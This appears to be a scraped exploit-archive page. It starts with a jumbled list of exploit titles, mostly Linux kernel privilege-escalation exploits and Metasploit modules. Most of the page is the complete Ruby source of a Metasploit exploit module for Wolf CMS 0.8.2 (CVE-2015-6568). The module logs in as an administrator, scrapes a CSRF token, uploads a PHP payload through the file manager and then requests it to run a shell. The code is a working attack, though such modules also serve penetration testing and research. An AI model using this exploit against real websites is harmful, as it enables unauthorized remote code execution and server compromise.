
4 new exploits Linux Kernel 2.4 - uselib() Privilege Elevation Exploit (2) Linux Kernel 2.4 - 'uselib()' Privilege Elevation Exploit (2) Linux Kernel 2.4.x / 2.6.x - uselib() Local Privilege Escalation Exploit (3) Linux Kernel 2.4.x / 2.6.x - 'uselib()' Local Privilege Escalation Exploit (3) Linux Kernel 2.6.23 <= 2.6.24 - vmsplice Local Root Exploit (1) Linux Kernel 2.6.23 <= 2.6.24 - 'vmsplice' Local Root Exploit (1) Linux Kernel 2.6 (Debian 4.0 / Ubuntu / Gentoo) - UDEV Local Privilege Escalation Exploit (1) Linux Kernel 2.6 (Debian 4.0 / Ubuntu / Gentoo) - < UDEV 1.4.1 Local Privilege Escalation Exploit (1) Linux Kernel 2.x - 'sock_sendpage()' Local Root Exploit (2) Linux Kernel 2.x - 'sock_sendpage()' Local Root Exploit (4) Linux Kernel 2.4 / 2.6 (RedHat Linux 9 / Fedora Core 4~11 / Whitebox 4 / CentOS 4) - 'sock_sendpage()' ring0 Root Exploit (3) Linux Kernel 2.4 / 2.6 (RedHat Linux 9 / Fedora Core 4~11 / Whitebox 4 / CentOS 4) - 'sock_sendpage()' ring0 Root Exploit (5) Linux Kernel 2.4 / 2.6 (Fedora 11) - 'sock_sendpage()' Local Root Exploit (4) Linux Kernel 2.4 / 2.6 (Fedora 11) - 'sock_sendpage()' Local Root Exploit (2) Linux Kernel 2.4 / 2.6 - 'sock_sendpage()' Local Root Exploit (5) Linux Kernel 2.4 / 2.6 - 'sock_sendpage()' Local Root Exploit (3) Linux Kernel 2.4.1-2.4.37 / 2.6.1-2.6.32-rc5 - Pipe.c Privilege Escalation (3) Linux Kernel 2.4.1-2.4.37 / 2.6.1-2.6.32-rc5 - 'Pipe.c' Privilege Escalation (3) Linux Kernel <= 2.6.37 (Redhat / Ubuntu 10.04) - 'Full-Nelson.c' Local Privilege Escalation Linux Kernel <= 2.6.37 (Redhat / Ubuntu 10.04) - 'Full-Nelson.c' Local Privilege Escalation (1) Linux Kernel < 2.6.36.2 (Ubuntu 10.04) - 'Half-Nelson.c' Econet Privilege Escalation Exploit Linux Kernel < 2.6.36.2 (Ubuntu 10.04) - 'Half-Nelson.c' Econet Privilege Escalation Exploit (2) UNICOS 9/MAX 1.3/mk 1.5_AIX <= 4.2_libc <= 5.2.18_RedHat 4_IRIX 6_Slackware 3 NLS Vuln(1) UNICOS 9/MAX 1.3/mk 1.5_AIX <= 4.2_libc <= 5.2.18_RedHat 4_IRIX 6_Slackware 3 NLS Vuln(2) UNICOS 9/MAX 1.3/mk 1.5_AIX <= 4.2_libc <= 5.2.18_RedHat 4_IRIX 6_Slackware 3 NLS Vulnerability (1) UNICOS 9/MAX 1.3/mk 1.5_AIX <= 4.2_libc <= 5.2.18_RedHat 4_IRIX 6_Slackware 3 NLS Vulnerability (2) Linux Kernel 3.3 < 3.8 (Ubuntu/Fedora 18) - SOCK_DIAG Local Root Exploit (3) Linux Kernel 3.3 < 3.8 (Ubuntu / Fedora 18) - 'sock_diag_handlers()' Local Root Exploit (3) Linux Kernel <= 4.4.1 - REFCOUNT Overflow/Use-After-Free in Keyrings Local Root (2) Linux Kernel <= 4.4.1 - REFCOUNT Overflow/Use-After-Free in Keyrings Local Root (1) Linux Kernel <= 4.4.1 - REFCOUNT Overflow/Use-After-Free in Keyrings Local Root (2) Gemtek CPE7000 - WLTCS-106 Administrator SID Retriever (MSF) Gemtek CPE7000 - WLTCS-106 sysconf.cgi Unauthenticated Remote Command Execution (MSF) Gemtek CPE7000 - WLTCS-106 Administrator SID Retriever (Metasploit) Gemtek CPE7000 - WLTCS-106 sysconf.cgi Unauthenticated Remote Command Execution (Metasploit) PCMan FTP Server 2.0.7 - RENAME Command Buffer Overflow (MSF) PCMan FTP Server 2.0.7 - RENAME Command Buffer Overflow (Metasploit) Data Protector A.09.00 - Encrypted Communications Arbitrary Command Execution (msf) Data Protector A.09.00 - Encrypted Communications Arbitrary Command Execution (Metasploit) Poison Ivy 2.1.x C2 Buffer Overflow (msf) Poison Ivy 2.1.x C2 Buffer Overflow (Metasploit) Bomgar Remote Support Unauthenticated Code Execution (msf) Bomgar Remote Support Unauthenticated Code Execution (Metasploit) Tomabo MP4 Player 3.11.6 - SEH Based Stack Overflow (msf) Tomabo MP4 Player 3.11.6 - SEH Based Stack Overflow (Metasploit) DarkComet Server Remote File Download Exploit (msf) DarkComet Server Remote File Download Exploit (Metasploit) PCMAN FTP 2.0.7 - ls Command Buffer Overflow (Metasploit) Wolf CMS 0.8.2 - Arbitrary File Upload Exploit (Metasploit) Windows x86 ShellExecuteA(NULL_NULL__cmd.exe__NULL_NULL_1) Shellcode
132 lines
No EOL
4.1 KiB
Ruby
Executable file
132 lines
No EOL
4.1 KiB
Ruby
Executable file
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::FileDropper
|
|
|
|
def initialize
|
|
super(
|
|
'Name' => 'Wolfcms 0.8.2 Arbitrary PHP File Upload Vulnerability',
|
|
'Description' => %q{
|
|
This module exploits a file upload vulnerability in Wolfcms
|
|
version 0.8.2. This application has an upload feature that
|
|
allows an authenticated user with administrator roles to upload
|
|
arbitrary files to the '/public' directory.
|
|
},
|
|
'Author' => [
|
|
'Narendra Bhati', # Proof of concept
|
|
'Rahmat Nurfauzi' # Metasploit module
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
['CVE', '2015-6568'],
|
|
['CVE', '2015-6567'],
|
|
['OSVDB','126852'],
|
|
['EDB', '38000'],
|
|
],
|
|
'Platform' => ['php'],
|
|
'Arch' => ARCH_PHP,
|
|
'Targets' =>
|
|
[
|
|
['Wolfcms <= 0.8.2', {}]
|
|
],
|
|
'DisclosureDate' => 'Aug 28 2015',
|
|
'Privileged' => false,
|
|
'DefaultTarget' => 0
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('TARGETURI', [true, 'The base path to wolfcms', '/wolfcms']),
|
|
OptString.new('USER', [true, 'User to login with', '']),
|
|
OptString.new('PASS', [true, 'Password to login with', '']),
|
|
], self.class)
|
|
end
|
|
|
|
def login
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri, "/?/admin/login/login/"),
|
|
'vars_post' => {
|
|
"login[username]" => datastore['USER'],
|
|
"login[password]" => datastore['PASS'],
|
|
"login[redirect]" => "/wolfcms/?/admin"
|
|
}
|
|
})
|
|
return res
|
|
end
|
|
|
|
def exploit
|
|
|
|
upload_name = rand_text_alpha(5 + rand(5)) + '.php'
|
|
|
|
get_cookie = login.get_cookies
|
|
cookie = get_cookie.split(";")[3]
|
|
|
|
token = send_request_cgi({
|
|
'method' => 'GET',
|
|
'cookie' => cookie,
|
|
'uri' => normalize_uri(target_uri, "/?/admin/plugin/file_manager/browse/")
|
|
})
|
|
|
|
html = token.body
|
|
if html =~ /Files/
|
|
print_status("Login successfuly")
|
|
end
|
|
csrf_token = html.scan(/<input\s*id=\"csrf_token\"\s*name=\"csrf_token\"\s*type=\"hidden\"\s*value=\"(.*)"/).last.first
|
|
|
|
boundary = Rex::Text.rand_text_hex(28)
|
|
|
|
data = "-----------------------------#{boundary}\r\n"
|
|
data << "Content-Disposition: form-data; name=\"csrf_token\"\r\n"
|
|
data << "\r\n"
|
|
data << csrf_token
|
|
data << "\r\n"
|
|
data << "-----------------------------#{boundary}\r\n"
|
|
data << "Content-Disposition: form-data; name=\"upload[path]\"\r\n\r\n"
|
|
data << "/"
|
|
data << "\r\n"
|
|
data << "-----------------------------#{boundary}\r\n"
|
|
data << "Content-Disposition: form-data; name=\"upload_file\"; filename=\"#{upload_name}\"\r\n"
|
|
data << "Content-Type: text/x-php\r\n"
|
|
data << "\r\n"
|
|
data << payload.encoded
|
|
data << "\r\n"
|
|
data << "-----------------------------#{boundary}\r\n"
|
|
data << "Content-Disposition: form-data; name=\"commit\"\r\n"
|
|
data << "\r\n"
|
|
data << "Upload\r\n"
|
|
data << "-----------------------------#{boundary}--\r\n\r\n"
|
|
|
|
print_good("#{peer} - Payload uploaded as #{upload_name}")
|
|
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'data' => data,
|
|
'headers' =>
|
|
{
|
|
'Content-Type' => 'multipart/form-data; boundary=---------------------------' + boundary,
|
|
'Cookie' => cookie,
|
|
},
|
|
'uri' => normalize_uri(target_uri, "/?/admin/plugin/file_manager/upload/")
|
|
})
|
|
|
|
register_file_for_cleanup(upload_name)
|
|
|
|
print_status("#{peer} - Executing shell...")
|
|
|
|
send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, "public",upload_name),
|
|
})
|
|
|
|
end
|
|
end |